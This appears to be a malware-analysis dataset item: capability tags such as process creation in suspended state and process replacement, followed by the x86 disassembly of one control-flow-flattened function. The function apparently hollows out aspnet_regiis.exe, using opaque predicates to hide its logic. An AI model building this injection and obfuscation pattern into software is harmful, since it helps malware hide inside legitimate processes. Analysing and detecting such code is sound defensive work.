Function at 0x10007980
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x11c
mov eax, dword [0x10072800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x124], 0xc0b60b0f
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x128], eax
sub eax, 0x80d16857
je 0x1000cf4a
jmp 0x100079bc
mov eax, dword [ebp - 0x128]
sub eax, 0x80f25de0
je 0x10014603
jmp 0x100079d2
mov eax, dword [ebp - 0x128]
sub eax, 0x80f9d332
je 0x100136c2
jmp 0x100079e8
mov eax, dword [ebp - 0x128]
sub eax, 0x812f0263
je 0x1000fbb5
jmp 0x100079fe
mov eax, dword [ebp - 0x128]
sub eax, 0x813d4284
je 0x1000ef37
jmp 0x10007a14
mov eax, dword [ebp - 0x128]
sub eax, 0x826bf6cc
je 0x100117a1
jmp 0x10007a2a
mov eax, dword [ebp - 0x128]
sub eax, 0x82753f40
je 0x1000f93f
jmp 0x10007a40
mov eax, dword [ebp - 0x128]
sub eax, 0x82be1018
je 0x1000facd
jmp 0x10007a56
mov eax, dword [ebp - 0x128]
sub eax, 0x82f2b9e9
je 0x1001298c
jmp 0x10007a6c
mov eax, dword [ebp - 0x128]
sub eax, 0x83a36295
je 0x1000be7c
jmp 0x10007a82
mov eax, dword [ebp - 0x128]
sub eax, 0x83b94078
je 0x1000f9af
jmp 0x10007a98
mov eax, dword [ebp - 0x128]
sub eax, 0x845fc635
je 0x1000d23d
jmp 0x10007aae
mov eax, dword [ebp - 0x128]
sub eax, 0x847bf0ce
je 0x10012bfa
jmp 0x10007ac4
mov eax, dword [ebp - 0x128]
sub eax, 0x84d8cbb9
je 0x1001089f
jmp 0x10007ada
mov eax, dword [ebp - 0x128]
sub eax, 0x857c050e
je 0x1000ef85
jmp 0x10007af0
mov eax, dword [ebp - 0x128]
sub eax, 0x859ded0d
je 0x1000d867
jmp 0x10007b06
mov eax, dword [ebp - 0x128]
sub eax, 0x862b80c0
je 0x1001169e
jmp 0x10007b1c
mov eax, dword [ebp - 0x128]
sub eax, 0x867e5f9f
je 0x1000dd54
jmp 0x10007b32
mov eax, dword [ebp - 0x128]
sub eax, 0x871e206b
je 0x10013435
jmp 0x10007b48
mov eax, dword [ebp - 0x128]
sub eax, 0x87d5057d
je 0x1000ff14
jmp 0x10007b5e
mov eax, dword [ebp - 0x128]
sub eax, 0x8845009f
je 0x100108bc
jmp 0x10007b74
mov eax, dword [ebp - 0x128]
sub eax, 0x8851434d
je 0x1000cb0c
jmp 0x10007b8a
mov eax, dword [ebp - 0x128]
sub eax, 0x887027c7
je 0x1000bd7f
jmp 0x10007ba0
mov eax, dword [ebp - 0x128]
sub eax, 0x88f655e4
je 0x1000dd73
jmp 0x10007bb6
mov eax, dword [ebp - 0x128]
sub eax, 0x8902dd70
je 0x10011990
jmp 0x10007bcc
mov eax, dword [ebp - 0x128]
sub eax, 0x8a5818d5
je 0x1000f83a
jmp 0x10007be2
mov eax, dword [ebp - 0x128]
sub eax, 0x8b1024c0
je 0x100145e4
jmp 0x10007bf8
mov eax, dword [ebp - 0x128]
sub eax, 0x8b747b2f
je 0x10013fb9
jmp 0x10007c0e
mov eax, dword [ebp - 0x128]
sub eax, 0x8b7c0aab
je 0x1001167f
jmp 0x10007c24
mov eax, dword [ebp - 0x128]
sub eax, 0x8c7a681d
je 0x10010b53
jmp 0x10007c3a
mov eax, dword [ebp - 0x128]
sub eax, 0x8cf112f5
je 0x1000dd18
jmp 0x10007c50
mov eax, dword [ebp - 0x128]
sub eax, 0x8d62689a
je 0x1000f1ff
jmp 0x10007c66
mov eax, dword [ebp - 0x128]
sub eax, 0x8db90e29
je 0x10010158
jmp 0x10007c7c
mov eax, dword [ebp - 0x128]
sub eax, 0x8dec1716
je 0x1000cfb0
jmp 0x10007c92
mov eax, dword [ebp - 0x128]
sub eax, 0x8e1ab355
je 0x1001208b
jmp 0x10007ca8
mov eax, dword [ebp - 0x128]
sub eax, 0x8ea631d6
je 0x1000da94
jmp 0x10007cbe
mov eax, dword [ebp - 0x128]
sub eax, 0x8ef66838
je 0x1001001f
jmp 0x10007cd4
mov eax, dword [ebp - 0x128]
sub eax, 0x9026669d
je 0x10014c5b
jmp 0x10007cea
mov eax, dword [ebp - 0x128]
sub eax, 0x903ffe3a
je 0x100106f0
jmp 0x10007d00
mov eax, dword [ebp - 0x128]
sub eax, 0x90e08656
je 0x10014f3e
jmp 0x10007d16
mov eax, dword [ebp - 0x128]
sub eax, 0x9127008c
je 0x1000daa3
jmp 0x10007d2c
mov eax, dword [ebp - 0x128]
sub eax, 0x912c7b2e
je 0x10014612
jmp 0x10007d42
mov eax, dword [ebp - 0x128]
sub eax, 0x9181e346
je 0x1000cca2
jmp 0x10007d58
mov eax, dword [ebp - 0x128]
sub eax, 0x91cf1bb3
je 0x10012276
jmp 0x10007d6e
mov eax, dword [ebp - 0x128]
sub eax, 0x91f960a8
je 0x1000bf5a
jmp 0x10007d84
mov eax, dword [ebp - 0x128]
sub eax, 0x9206d7e5
je 0x1000dc48
jmp 0x10007d9a
mov eax, dword [ebp - 0x128]
sub eax, 0x938b1907
je 0x1000b962
jmp 0x10007db0
mov eax, dword [ebp - 0x128]
sub eax, 0x93a64939
je 0x10014166
jmp 0x10007dc6
mov eax, dword [ebp - 0x128]
sub eax, 0x93e0c83f
je 0x100146f9
jmp 0x10007ddc
mov eax, dword [ebp - 0x128]
sub eax, 0x9474674e
je 0x1000bb3d
jmp 0x10007df2
mov eax, dword [ebp - 0x128]
sub eax, 0x94f4ad72
je 0x10010e5f
jmp 0x10007e08
mov eax, dword [ebp - 0x128]
sub eax, 0x955d1a9d
je 0x1000da33
jmp 0x10007e1e
mov eax, dword [ebp - 0x128]
sub eax, 0x9581822b
je 0x100111bb
jmp 0x10007e34
mov eax, dword [ebp - 0x128]
sub eax, 0x9586838a
je 0x10012f83
jmp 0x10007e4a
mov eax, dword [ebp - 0x128]
sub eax, 0x966a79d3
je 0x1000c239
jmp 0x10007e60
mov eax, dword [ebp - 0x128]
sub eax, 0x96b80fc5
je 0x1000ee0b
jmp 0x10007e76
mov eax, dword [ebp - 0x128]
sub eax, 0x96d0b593
je 0x1000faec
jmp 0x10007e8c
mov eax, dword [ebp - 0x128]
sub eax, 0x975c0ccf
je 0x100123d1
jmp 0x10007ea2
mov eax, dword [ebp - 0x128]
sub eax, 0x975f42bb
je 0x10014f5c
jmp 0x10007eb8
mov eax, dword [ebp - 0x128]
sub eax, 0x97bef53c
je 0x10012492
jmp 0x10007ece
mov eax, dword [ebp - 0x128]
sub eax, 0x988b3087
je 0x1000e9a9
jmp 0x10007ee4
mov eax, dword [ebp - 0x128]
sub eax, 0x99513e8e
je 0x1001002e
jmp 0x10007efa
mov eax, dword [ebp - 0x128]
sub eax, 0x9960a034
je 0x1000d886
jmp 0x10007f10
mov eax, dword [ebp - 0x128]
sub eax, 0x9a3a7d88
je 0x10012c47
jmp 0x10007f26
mov eax, dword [ebp - 0x128]
sub eax, 0x9a57b48e
je 0x1000c282
movss xmm0, dword [0x100227dc]
movss dword [ebp - 0xe4], xmm0
mov dword [ebp - 0x124], 0xc5ae2936
jmp 0x10015239
mov dl, 1
mov eax, 0x142eb03f
mov ecx, 0xdf65439e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov dl, 1
mov eax, 0x83a36295
mov ecx, 0x7f4ff3b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov eax, dword [0x10073b28]
mov ecx, dword [0x10073b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8b1024c0
mov ecx, 0x1d6b6828
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov eax, dword [0x10073b28]
mov ecx, dword [0x10073b24]
mov edx, eax
add edx, 0x1602d497
sub edx, 1
sub edx, 0x1602d497
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x80f25de0
mov ecx, 0x1d2f0e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov eax, dword [0x10073b28]
mov ecx, dword [0x10073b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa0a01c9e
mov ecx, 0x9a57b48e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
movss xmm0, dword [0x10022790]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0x124], 0x1152b716
jmp 0x10015239
mov dword [ebp - 0x124], 0xd5332efc
jmp 0x10015239
mov dl, 1
mov eax, 0x66be87b4
mov ecx, 0x5bbcfef3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
movss xmm0, dword [0x10022480]
movss dword [ebp - 0xec], xmm0
mov eax, dword [0x10073b28]
mov ecx, dword [0x10073b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6580bae0
mov ecx, 0xa7f9a61a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov dword [ebp - 0x124], 0xc83e2fd5
jmp 0x10015239
movss xmm0, dword [0x10022744]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x124], 0x9960a034
jmp 0x10015239
mov dl, 1
mov eax, 0x6dcfaca5
mov ecx, 0x5f948cc2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
movss xmm0, dword [0x10022458]
movss dword [ebp - 0xf4], xmm0
mov eax, dword [0x10073b28]
mov ecx, dword [0x10073b24]
mov edx, eax
sub edx, 0x43a5f947
sub edx, 1
add edx, 0x43a5f947
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfaa9f549
mov ecx, 0x8ea631d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov dword [ebp - 0x124], 0x9127008c
jmp 0x10015239
movss xmm0, dword [0x1002273c]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x10022738]
movss dword [ebp - 0xf4], xmm0
mov dl, 1
mov eax, 0xab18b3ee
mov ecx, 0x40a29965
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov dword [ebp - 0x124], 0x4bfabd7
jmp 0x10015239
mov dl, 1
mov eax, 0x88f655e4
mov ecx, 0xa4402ca2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
movss xmm0, dword [0x10022718]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x124], 0x88f655e4
jmp 0x10015239
movss xmm0, dword [0x10022714]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x124], 0xed9e21b5
jmp 0x10015239
mov dword [ebp - 0x124], 0x6315edc2
jmp 0x10015239
mov ecx, dword [0x10073b28]
mov eax, dword [0x10073b24]
mov edx, ecx
add edx, 0x481d5ea0
sub edx, 1
sub edx, 0x481d5ea0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1345d72e
mov ecx, 0x501c6549
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
movss xmm0, dword [0x100226a0]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x124], 0x196c23bb
jmp 0x10015239
movss xmm0, dword [0x10022694]
movss dword [ebp - 0x100], xmm0
mov dl, 1
mov eax, 0xc7d3432a
mov ecx, 0x7b3438ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov eax, dword [0x10073b28]
mov ecx, dword [0x10073b24]
mov edx, eax
sub edx, 0x8659de7c
sub edx, 1
add edx, 0x8659de7c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc94ebd0c
mov ecx, 0x4fe88592
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
movss xmm0, dword [0x1002265c]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x124], 0xcca4256
jmp 0x10015239
movss xmm0, dword [0x10022658]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x124], 0x560724a4
jmp 0x10015239
mov eax, dword [0x10073b28]
mov ecx, dword [0x10073b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe8a8a030
mov ecx, 0xbfb53b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
movss xmm0, dword [0x10022640]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x124], 0x96d0b593
jmp 0x10015239
mov dl, 1
mov eax, 0xdfbd0e3d
mov ecx, 0xbbf136f4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
movss xmm0, dword [0x10022418]
movss dword [ebp - 0x104], xmm0
mov ecx, dword [0x10073b28]
mov eax, dword [0x10073b24]
mov edx, ecx
add edx, 0xd79b3f6b
sub edx, 1
sub edx, 0xd79b3f6b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xddf29270
mov ecx, 0x599b958e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov dl, 1
mov eax, 0x99513e8e
mov ecx, 0x235207e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov dword [ebp - 0x124], 0x99513e8e
jmp 0x10015239
movss xmm0, dword [0x10022608]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x124], 0x2e7791d7
jmp 0x10015239
mov dword [ebp - 0x124], 0x7175d844
jmp 0x10015239
movss xmm0, dword [0x10022400]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x100223fc]
movss dword [ebp - 0x10c], xmm0
mov ecx, dword [0x10073b28]
mov eax, dword [0x10073b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x70293dbe
mov ecx, 0xd8d593e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov dl, 1
mov eax, 0xbaa25683
mov ecx, 0x8845009f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
movss xmm0, dword [0x100225e0]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x124], 0xeecd40ff
jmp 0x10015239
movss xmm0, dword [0x100225c8]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x124], 0x2585adb9
jmp 0x10015239
mov dl, 1
mov eax, 0x342db1a8
mov ecx, 0xf7da96fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov ecx, dword [0x10073b28]
mov eax, dword [0x10073b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb5ee8d74
mov ecx, 0xe07d77cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
movss xmm0, dword [0x1002257c]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x124], 0x862b80c0
jmp 0x10015239
mov dl, 1
mov eax, 0xd089b3b6
mov ecx, 0x1625a14c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
movss xmm0, dword [0x10022578]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x124], 0xd089b3b6
jmp 0x10015239
mov eax, dword [0x10073b28]
mov ecx, dword [0x10073b24]
mov edx, eax
sub edx, 0x7abe719a
sub edx, 1
add edx, 0x7abe719a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe1d87596
mov ecx, 0x9f5313c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov eax, dword [0x10073b28]
mov ecx, dword [0x10073b24]
mov edx, eax
sub edx, 0x80fe340d
sub edx, 1
add edx, 0x80fe340d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf3f890ba
mov ecx, 0x76e6c51d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
movss xmm0, dword [0x10022528]
movss dword [ebp - 0x11c], xmm0
mov dl, 1
mov eax, 0xea718a0c
mov ecx, 0xbd318dce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
movss xmm0, dword [0x100223bc]
movss dword [ebp - 0x11c], xmm0
mov eax, dword [0x10073b28]
mov ecx, dword [0x10073b24]
mov edx, eax
add edx, 0xcd7c0b35
sub edx, 1
sub edx, 0xcd7c0b35
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x772c584a
mov ecx, 0x22a1e9fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov eax, dword [0x10073b28]
mov ecx, dword [0x10073b24]
mov edx, eax
add edx, 0x48f2f1de
sub edx, 1
sub edx, 0x48f2f1de
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x17ffbece
mov ecx, 0x7adfe4f4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov eax, dword [0x10073b28]
mov ecx, dword [0x10073b24]
mov edx, eax
sub edx, 0xb11cc935
sub edx, 1
add edx, 0xb11cc935
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x90e08656
mov ecx, 0x2ba0a99f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov dword [ebp - 0x124], 0xaab47061
jmp 0x10015239
mov dl, 1
mov eax, 0xefe41f71
mov ecx, 0x22b8e14b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov eax, dword [ebp - 0xc4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x124], 0x7fc85fff
jmp 0x10015239
mov eax, dword [ebp - 0x60]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0x64]
add ecx, 0x8e6363f9
add ecx, eax
sub ecx, 0x8e6363f9
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xac]
mov dword [eax], 0
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa4]
mov dword [eax], 0
mov dword [ebp - 0x124], 0x62363fdf
jmp 0x10015239
mov ecx, dword [0x10073b28]
mov eax, dword [0x10073b24]
mov edx, ecx
sub edx, 0xe1e7f286
sub edx, 1
add edx, 0xe1e7f286
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x354f6e4e
mov ecx, 0x65e04757
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ecx]
add ecx, 0x4cac7e84
add ecx, eax
sub ecx, 0x4cac7e84
mov eax, dword [ebp - 0x88]
mov dword [eax], ecx
mov dword [ebp - 0x124], 0xc7039400
jmp 0x10015239
mov ecx, dword [0x10073b28]
mov eax, dword [0x10073b24]
mov edx, ecx
sub edx, 0x24c74d31
sub edx, 1
add edx, 0x24c74d31
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc78a53b2
mov ecx, 0x40c5d3b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x10015239
movss xmm0, dword [0x100224b0]
movss dword [ebp - 0xe4], xmm0
mov dword [ebp - 0x124], 0x1d6b6828
jmp 0x10015239
mov dword [ebp - 0x124], 0x1d2f0e7
jmp 0x10015239
movss xmm0, dword [0x100224ac]
movss dword [ebp - 0xe4], xmm0
mov dword [ebp - 0x124], 0xdac2c24a
jmp 0x10015239
movss xmm0, dword [0x10022494]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0x124], 0x7ab45606
jmp 0x10015239
mov dword [ebp - 0x124], 0x408785c2
jmp 0x10015239
mov dword [ebp - 0x124], 0x82f2b9e9
jmp 0x10015239
movss xmm0, dword [0x100223b4]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x124], 0xab7a7f3b
jmp 0x10015239
jmp 0x100079a0